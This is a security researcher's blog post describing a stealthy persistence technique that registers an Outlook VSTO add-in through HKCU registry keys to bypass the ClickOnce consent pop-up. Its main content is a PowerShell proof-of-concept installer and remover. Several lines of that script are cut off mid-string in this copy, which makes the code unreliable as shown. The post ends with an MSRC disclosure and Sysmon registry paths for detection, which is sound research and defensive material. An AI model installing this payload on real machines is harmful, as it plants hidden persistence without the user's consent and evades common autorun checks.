An Outlook parasite for stealth persistence

SATURDAY. JANUARY 09, 2021 - 5 MINS

TRADECRAFT PERSISTENCE

In 2019 I was researching new “stealthy” persistence techniques that were not yet published or commonly known. I was triggered by the techniques that (mis)used plugins for programs on the target’s machine. Particularly interesting targets are browsers, e-mail clients and messaging apps, as they’re typically started after boot.

While reading other’s work, I stumbled upon a blog post from @bohops about VSTOs: The Payload Installer That Probably Defeats Your Application Whitelisting Rules. He shows how to create an “evil VSTO” and install it into Office. His conclusion there however, is that an unprivileged account will get a (“ClickOnce”) pop-up from `vstoinstaller.exe` asking the user for permission:

Bypassing this “ClickOnce” pop-up would be very valuable from an attacker perspective and so I decided to dig a bit deeper into how exactly `vstoinstaller.exe` installs a VSTO add-in. I fired up Procmon and filtered on `vstoinstaller.exe` process while clicking through this pop-up. I started by looking at the registry keys in `HKCU`, since I assumed that would be a key part of the installation.

These registry keys were particularly interesting and seemed very much related to the installation of the VSTO. I uninstalled the plugin again using `vstoinstaller.exe /uninstall` which removed those particular registry keys.

Installing the VSTO again using the conventional method triggers the pop-up again, so I was assuming the uninstallation performed a complete roll-back of the VSTO install.

Next I wrote a PowerShell script that set the correct registry keys and values to test if my Outlook add-in would be loaded by Outlook, without any user consent pop-ups. I think the trick of bypassing the “ClickOnce” pop-up eventually boils down to adding the public key of the certificate used to sign the VSTO with, in `HKCU:\Software\Microsoft\VSTO\Security\Inclusion\`.

```
function Install-OutlookAddin {
<#
    .SYNOPSIS

        Installs an Outlook add-in.
        Author: @_vivami

    .PARAMETER PayloadPath

        The path of the DLL and manifest files

    .EXAMPLE

        PS> Install-OutlookAddin -PayloadPath C:\Path\to\Addin.vsto
#>
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$true)]
        [string]
        $PayloadPath
    )

    $RegistryPaths =
        @("HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension"),
        @("HKCU:\Software\Microsoft\VSTO\SolutionMetadata"),
        @("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}"),
        @("HKCU:\Software\Microsoft\VSTO\Security\Inclusion\1e1f0cff-ff7a-406d-bd82-e53809a5e93a")

    $RegistryPaths | foreach {
        if(-Not (Test-Path ($_))) {
            try {
                New-Item -Path $($_) -Force | Out-Null
            } catch {
                Write-Error "Failed to set entry $($_)."
            }
        }
    }

    $RegistryKeys =
        @("HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension", "(Default)", ""),
        @("HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension", "Description", "Outlook
        @("HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension", "FriendlyName", "Outloc
        @("HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension", "Manifest", "file:///$P
        @("HKCU:\Software\Microsoft\VSTO\SolutionMetadata", "(Default)", ""),
        @("HKCU:\Software\Microsoft\VSTO\SolutionMetadata", "file:///$PayloadPath", "{FA2052FB-9E23-
        @("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}", "
        @("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}", "
        @("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}", "
        @("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}", "
        @("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}", "
        @("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}", "
        @("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}", "
        @("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}", "
        @("HKCU:\Software\Microsoft\VSTO\Security\Inclusion\1e1f0cff-ff7a-406d-bd82-e53809a5e93a", "
        @("HKCU:\Software\Microsoft\VSTO\Security\Inclusion\1e1f0cff-ff7a-406d-bd82-e53809a5e93a", "

    foreach ($KeyPair in $RegistryKeys) {
        New-ItemProperty -Path $KeyPair[0] -Name $KeyPair[1] -Value $KeyPair[2] -PropertyType "Strin
    }
        Write-Host "Done."
    New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension" -Name "
}


function Remove-OutlookAddin {
<#
    .SYNOPSIS

        Removes the Outlook add-in
        Author: @_vivami
    .EXAMPLE

        PS> Remove-OutlookAddin
#>
    $RegistryPaths =
        @("HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension"),
        @("HKCU:\Software\Microsoft\VSTO\SolutionMetadata"),
        #@("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}"),
        @("HKCU:\Software\Microsoft\VSTO\Security\Inclusion\1e1f0cff-ff7a-406d-bd82-e53809a5e93a")

    $RegistryPaths | foreach {
        Remove-Item -Path $($_) -Force -Recurse
    }
}
```

Sure enough, it worked! The add-in was installed and loaded by Outlook upon startup, without a pop-up.

Taking a look at Sysinternals' AutoRuns, we can see that this VSTO add-in is not detected.

MSRC

I've reached out to Microsoft Security Response Center, but since this is not a breach of a security boundary, this bug does not meet the bar for servicing and will not be fixed.

Detection

To detect this persistence technique, monitor "RegistryEvent Value Set"-events (Sysmon Event ID 13) on the following paths:

```
HKCU:\Software\Microsoft\Office\Outlook\Addins\
HKCU:\Software\Microsoft\Office\Word\Addins\
HKCU:\Software\Microsoft\Office\Excel\Addins\
HKCU:\Software\Microsoft\Office\Powerpoint\Addins\
HKCU:\Software\Microsoft\VSTO\Security\Inclusion\
```

You can try all of this yourself with the PoC code on my GitHub repo.

Related Posts

- Persisting our implant like the CIA
- Reigning the Empire, evading detection